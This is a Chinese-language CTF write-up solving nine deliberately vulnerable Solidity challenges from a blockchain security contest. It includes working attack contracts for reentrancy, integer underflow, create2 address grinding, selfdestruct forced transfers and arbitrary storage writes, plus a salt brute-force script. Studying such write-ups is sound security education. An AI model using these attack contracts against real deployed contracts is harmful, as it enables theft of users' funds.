首届可信链区块链安全攻防大赛Solidity合约全解

前言

为了不使得文章过长,将代码文件放置在个人GitHub上 欢迎star 提供下载

赛题一

通过重写函数实现重入攻击

1
2
3
4
5
6
7
8
9
10
11
interface IFlashLoanTokenReceiver {
function execute() external;
}
function flashLoan(uint256 amount) external {
uint256 balanceBefore = token.balanceOf(address(this));
require(balanceBefore >= amount, "Not enough ETH in balance");
token.transfer(msg.sender, amount);
IFlashLoanTokenReceiver(msg.sender).execute();

require(token.balanceOf(address(this)) >= balanceBefore, "Flash loan hasn't been paid back");
}

攻击思路:

  • 首先进入flashLoan函数,贷走所有的金额
  • 利用IFlashLoanTokenReceiver(msg.sender).execute();重入调用deposit函数,将钱归还闪电贷。此时由于重入deposit函数,会记录一个错误的用户余额。
  • 调用withdraw函数获得合约中全部的token。

攻击代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
contract dvt1_attack{
address target = DaoPool address;
address token = DVT1 address;
uint256 amount;
function execute() external {
IERC20(token).approve(target,amount);
target.call(
abi.encodeWithSignature("deposit(uint256)", amount)
);
}
function attack() public{
amount = IERC20(token).balanceOf(target);
target.call(
abi.encodeWithSignature("flashLoan(uint256)", amount)
);
target.call(
abi.encodeWithSignature("withdraw()")
);
}
}

赛题二

  • owner权限控制错误
  • 空投薅羊毛
  • 有奖竞猜
  • 整数溢出
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
function DvT2() public{ //owner权限控制错误
owner = msg.sender;
}

function profit() public { //空投薅羊毛
require(gift[msg.sender]==0);
gift[msg.sender]=1;
balanceOf[msg.sender]+=1;
}

function betgame(uint secretguess) public { //有奖竞猜
require(balanceOf[msg.sender]>0);
balanceOf[msg.sender]-=1;
if (secretguess==secret)
{
balanceOf[msg.sender]+=2;
isbet[msg.sender]=1;
}
}
function doublebetgame(uint secretguess) public only_owner{
require(balanceOf[msg.sender]-2>0);
require(isbet[msg.sender]==1);
balanceOf[msg.sender]-=2;
if (secretguess==secret)
{
balanceOf[msg.sender]+=2;
}
}
  1. 调用DvT2函数使自己变成owner
  2. 调用setsecret函数设置secret
  3. 调用profit空投以便后续调用betgame
  4. 调用一次正确betgame 使得balanceOf[msg.sender]=2
  5. 调用一次错误betgame 使得balanceOf[msg.sender]=1
  6. 调用一次错误doublebetgame使得balanceOf[msg.sender]下溢出
  7. 调用payforflag

攻击过程

赛题三

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
function TransferOrAirDrop(address to, bool isTransfer, bytes calldata _method, uint256 amount) external {
if (isTransfer) {
bytes memory returnData;
bool success;
(success, returnData) = token.call(abi.encodePacked(bytes4(keccak256(abi.encodePacked(_method, "(address,address,uint256)"))),abi.encode(msg.sender,to,amount)));

require(success, "executeProposal failed");
} else {
bytes memory returnData;
bool isFristAirDropFlag;
bool success;
if(AirDropCount[msg.sender] == 0) {
isFristAirDropFlag = true;
} else if (AirDropCount[msg.sender] > 2) {
return;
}
(success, returnData) = token.call(abi.encodePacked(bytes4(keccak256(abi.encodePacked(_method, "(bool,address)"))), abi.encode(isFristAirDropFlag, msg.sender)));
require(success, "executeProposal failed");
AirDropCount[msg.sender]++;
}
}
}

与八月份发生的Poly Network 事件类似,通过实现哈希碰撞调用DVT3合约的changeOwner函数,将DVT3合约的owner重置为我们所掌握的以太坊账号进而触发SendFlag事件

Untitled

image-20211023203413456

image-20211023203446205

赛题四

  • 合约调用(tx.origin ! = msg.sender)
  • create2构造特定合约地址
  • view函数两次调用返回不同值
  • 利用selfdestruc强制转账
  • 重入漏洞
  • 整数溢出漏洞

通过分析,需要首先获得owner权限,然后调用buy函数,最后调用payforflag函数。

  1. 获得owner权限

获得owner权限首先要绕过change函数里面的检查,由于声明了是view函数,因此不能通过变量记录是第几次调用。于是想到通过获取gas来判断调用到了哪里。控制交易的gas值为固定值,通过一次debug记录第一次执行到该步骤时候的剩余gas值。填入合约的判断条件中即可。

  1. create2构造特定结尾的合约,利用另一个depoly合约辅助构建一个能绕过检查的合约。
  2. 调用buy函数,同时调用多次from == to的transfer,获得足够的钱
  3. 利用别的合约自毁给合约转账
  4. 利用重入+整数溢出构造buyTimes的值

前期部署

1
2
3
4
5
6
7
8
9
10
11
12
contract Deployer {
// contractBytecode是待部署合约的bytecode
bytes contractBytecode = hex"608060405260016000806101000a81548160ff021916908315150217905550610f3b8061002d6000396000f3fe6080604052600436106100745760003560e01c80637b1c7c461161004e5780637b1c7c461461040a578063a19e69c21461045b578063c224ed1a146104ac578063dac5f65f146104f057610075565b80630c200e4c146101e85780631fbe98ce146102d05780632f54bf6e146103a357610075565b5b60008054906101000a900460ff16156101e6573373ffffffffffffffffffffffffffffffffffffffff1660c8604051602401808281526020019150506040516020818303038152906040527fe4849b32000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff83818316178352505050506040518082805190602001908083835b60208310610161578051825260208201915060208101905060208303925061013e565b6001836020036101000a0380198251168184511680821785525050505050509050019150506000604051808303816000865af19150503d80600081146101c3576040519150601f19603f3d011682016040523d82523d6000602084013e6101c8565b606091505b50505060008060006101000a81548160ff0219169083151502179055505b005b3480156101f457600080fd5b506102ce6004803603604081101561020b57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019064010000000081111561024857600080fd5b82018360208201111561025a57600080fd5b8035906020019184600183028401116401000000008311171561027c57600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600081840152601f19601f820116905080830192505050505050509192919290505050610541565b005b3480156102dc57600080fd5b5061031f600480360360208110156102f357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506106ec565b60405180831515815260200180602001828103825283818151815260200191508051906020019080838360005b8381101561036757808201518184015260208101905061034c565b50505050905090810190601f1680156103945780820380516001836020036101000a031916815260200191505b50935050505060405180910390f35b3480156103af57600080fd5b506103f2600480360360208110156103c657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610855565b60405180821515815260200191505060405180910390f35b34801561041657600080fd5b506104596004803603602081101561042d57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061087c565b005b34801561046757600080fd5b506104aa6004803603602081101561047e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506109be565b005b6104ee600480360360208110156104c257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610c83565b005b3480156104fc57600080fd5b5061053f6004803603602081101561051357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610dbf565b005b8173ffffffffffffffffffffffffffffffffffffffff16816040516024018080602001828103825283818151815260200191508051906020019080838360005b8381101561059c578082015181840152602081019050610581565b50505050905090810190601f1680156105c95780820380516001836020036101000a031916815260200191505b50925050506040516020818303038152906040527f6bc344bc000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff83818316178352505050506040518082805190602001908083835b6020831061067e578051825260208201915060208101905060208303925061065b565b6001836020036101000a0380198251168184511680821785525050505050509050019150506000604051808303816000865af19150503d80600081146106e0576040519150601f19603f3d011682016040523d82523d6000602084013e6106e5565b606091505b5050505050565b60006060600060608473ffffffffffffffffffffffffffffffffffffffff1630604051602401808273ffffffffffffffffffffffffffffffffffffffff1681526020019150506040516020818303038152906040527f1e77933e000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff83818316178352505050506040518082805190602001908083835b602083106107e257805182526020820191506020810190506020830392506107bf565b6001836020036101000a0380198251168184511680821785525050505050509050019150506000604051808303816000865af19150503d8060008114610844576040519150601f19603f3d011682016040523d82523d6000602084013e610849565b606091505b50915091505050915091565b6000805a905063049e797c811415610871576000915050610877565b60019150505b919050565b600060608273ffffffffffffffffffffffffffffffffffffffff166040516024016040516020818303038152906040527f11f776bc000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff83818316178352505050506040518082805190602001908083835b6020831061094d578051825260208201915060208101905060208303925061092a565b6001836020036101000a0380198251168184511680821785525050505050509050019150506000604051808303816000865af19150503d80600081146109af576040519150601f19603f3d011682016040523d82523d6000602084013e6109b4565b606091505b5091509150505050565b8073ffffffffffffffffffffffffffffffffffffffff16306064604051602401808373ffffffffffffffffffffffffffffffffffffffff168152602001828152602001925050506040516020818303038152906040527fa9059cbb000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff83818316178352505050506040518082805190602001908083835b60208310610ab55780518252602082019150602081019050602083039250610a92565b6001836020036101000a0380198251168184511680821785525050505050509050019150506000604051808303816000865af19150503d8060008114610b17576040519150601f19603f3d011682016040523d82523d6000602084013e610b1c565b606091505b5050508073ffffffffffffffffffffffffffffffffffffffff163060c8604051602401808373ffffffffffffffffffffffffffffffffffffffff168152602001828152602001925050506040516020818303038152906040527fa9059cbb000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff83818316178352505050506040518082805190602001908083835b60208310610c165780518252602082019150602081019050602083039250610bf3565b6001836020036101000a0380198251168184511680821785525050505050509050019150506000604051808303816000865af19150503d8060008114610c78576040519150601f19603f3d011682016040523d82523d6000602084013e610c7d565b606091505b50505050565b8073ffffffffffffffffffffffffffffffffffffffff1660016040516024016040516020818303038152906040527fa6f2ae3a000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff83818316178352505050506040518082805190602001908083835b60208310610d525780518252602082019150602081019050602083039250610d2f565b6001836020036101000a03801982511681845116808217855250505050505090500191505060006040518083038185875af1925050503d8060008114610db4576040519150601f19603f3d011682016040523d82523d6000602084013e610db9565b606091505b50505050565b8073ffffffffffffffffffffffffffffffffffffffff1660c8604051602401808281526020019150506040516020818303038152906040527fe4849b32000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff83818316178352505050506040518082805190602001908083835b60208310610e985780518252602082019150602081019050602083039250610e75565b6001836020036101000a0380198251168184511680821785525050505050509050019150506000604051808303816000865af19150503d8060008114610efa576040519150601f19603f3d011682016040523d82523d6000602084013e610eff565b606091505b5050505056fea26469706673582212204d057579c349cdfe3e7b6a0517f38117ca61899b79261b0c49d20aba97e3aae664736f6c634300060c0033";

function deploy(bytes32 salt) public {
bytes memory bytecode = contractBytecode;
address addr;
assembly {
addr := create2(0, add(bytecode, 0x20), mload(bytecode), salt)
}
}
}

攻击合约

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
pragma solidity 0.6.12;
contract test {
constructor() public payable{}
bool nice = true;
fallback() external payable {
if(nice){
msg.sender.call(
abi.encodeWithSignature("sell(uint256)",200)
);
nice = false;
}
}
function isOwner(address _owner) view public returns(bool){
uint gas1 = gasleft();
if(gas1 == 0x49e797c){//浏览器调试
return false;
}
return true;
}
function _change(address target) public returns (bool success, bytes memory data){
(bool success, bytes memory data) = target.call(
abi.encodeWithSignature("change(address)",address(this))
);
}

function change_own(address target) public {
(bool success, bytes memory data) = target.call(
abi.encodeWithSignature("change_Owner()")
);
}

function buy_func(address target) public payable{
target.call{value: 1}(
abi.encodeWithSignature("buy()")
);
// check return value
}
function for_flag(address target,string memory b64email) public {
target.call(
abi.encodeWithSignature("payforflag(string)", b64email)
);
}

function get_enough_money(address target) public{
target.call(
abi.encodeWithSignature("transfer(address,uint256)", address(this),100)
);
target.call(
abi.encodeWithSignature("transfer(address,uint256)", address(this),200)
);
}
function get_correct_time(address target) public{
target.call(
abi.encodeWithSignature("sell(uint256)",200)
);
}
}

赛题五

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
fallback() external {
if(map.length>=uint256(msg.sender)){
require(map[uint256(msg.sender)]!=1);
}

if(token.balanceOf(address(this))==0){
//airdrop is over
selfdestruct(msg.sender);//空投结束,触发自毁
}else{
token.safeTransfer(msg.sender,100); //转账100token

if (map.length <= uint256(msg.sender)) {
increaseMapLength(uint256(msg.sender) + 1);
}
map[uint256(msg.sender)] = 1;

}
}

function increaseMapLength(uint256 len) internal {
assembly{
sstore(0x01, len) //开辟空间
}
}

//Guess the value(param:x) of the keccak256 value modulo 10000 of the future block (param:blockNum)
function guess(uint256 x,uint256 blockNum) public payable {
require(msg.value == 0.001 ether || token.allowance(msg.sender,address(this))>=1*(10**18));
// guess要花费0.001 ether
require(blockNum>block.number);// blockNum要大于当前block.number
if(token.allowance(msg.sender,address(this))>0){
token.safeTransferFrom(msg.sender,address(this),1*(10**18)); //转账
}
if (map.length <= uint256(msg.sender)+x) {
increaseMapLength(uint256(msg.sender)+x + 1);
}

map[uint256(msg.sender)+x] = blockNum; // 可以实现任意位置写入blocknum
}

//Run a lottery
function lottery(uint256 x) public {
require(map[uint256(msg.sender)+x]!=0);// 目标地址必须有值
require(block.number > map[uint256(msg.sender)+x]);// 目标地址值大于当前区块值才能开奖
require(blockhash(map[uint256(msg.sender)+x])!=0);// 不能使中间的参数为当前块为0

bytes memory hash = abi.encode(blockhash(map[uint256(msg.sender)+x]));
uint256 answer = uint256(keccak256(hash))%10000;
// 计算hash的后4位
if (x == answer) {
token.safeTransfer(msg.sender,token.balanceOf(address(this)));
selfdestruct(msg.sender);
}
}
}

image-20211023204306611

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
contract dvp_attack {
address public targetaddr;
function fallback() public payable {}//接受自毁的ether
constructor(address addr) public payable {
targetaddr = addr;
}

function balanceOf(address addr) public returns(uint i){
i = 0;
}

function attack(uint256 x,uint256 blockNum) public {
DVPgame gim= DVPgame(targetaddr);//实例化
gim.guess.value(0.001 ether)({x:x,blockNum:blockNum});//调用guess任意地址写入
targetaddr.call(abi.encode(bytes4(keccak256("a()"))));//调用fallback函数
}
}

image-20211023204540146

此时我们的x距离token位置偏出了c8c38cf8ac456ee7e0bc5e218f7ece57e53fb38d,把上次的x减去这个值,就是正确的token位置,再次attack 触发selfdestruct

image-20211023204601673

赛题六

题目说UnstoppableLender,所以就是要让它停下来。

题目中的poolBalance由deposit累加,但是可以直接通过token.transfer,来打破balanceBefore和poolBalance的同步功能。

image-20211023204454937

image-20211023204640686

赛题七

题目设置分别要通过三个考验

  1. 密码公开可读取
  2. tx.origin钓鱼 gas限制绕过
  3. 调用callfunction函数绕过

通过浏览器读取密码

image-20211023204926238

部署攻击合约并且调试gas

1
2
3
4
5
6
7
8
contract att1{

constructor() public{
CrossGates gim = CrossGates( CrossGates address);
gim.gateOne();
}

}

image-20211023205159002

image-20211023205111292

赛题八

transfer函数未做from,to判断,导致可以找我转账任意铸币。这个很简单先领取空投,然后翻倍十三次金额,就能达到题目要求

image-20211023205508672

赛题九

三个点

  • extcodesize绕过
  • delegatecall字节码绕过
  • salt爆破

预编译指令 0x0000000000000000000000000000000000000002绕过

构造emit ForFlag(msg.sender);字节码

爆破脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
import sha3
from web3 import Web3
from Crypto.Util.number import long_to_bytes

s1 = '0xff'+ msg.sender
s3 = 'f14110c630e2e9cbd2e1fbe32823fa40f14535e40f0291373fb44d873d550825'


i = 0
while(1):
tmp = hex(i)[2:].ljust(64, '0')
salt = Web3.sha3(hexstr=(tmp+"msg.sender".lower()))
sa = ''.join(['%02x' % b for b in salt])
s = s1+sa+s3
hashed = Web3.sha3(hexstr=s)
hashed_str = ''.join(['%02x' % b for b in hashed])
if hashed_str[24:].startswith("0000"):
print(tmp,hashed_str[24:])
break
i += 1

image-20211023210439745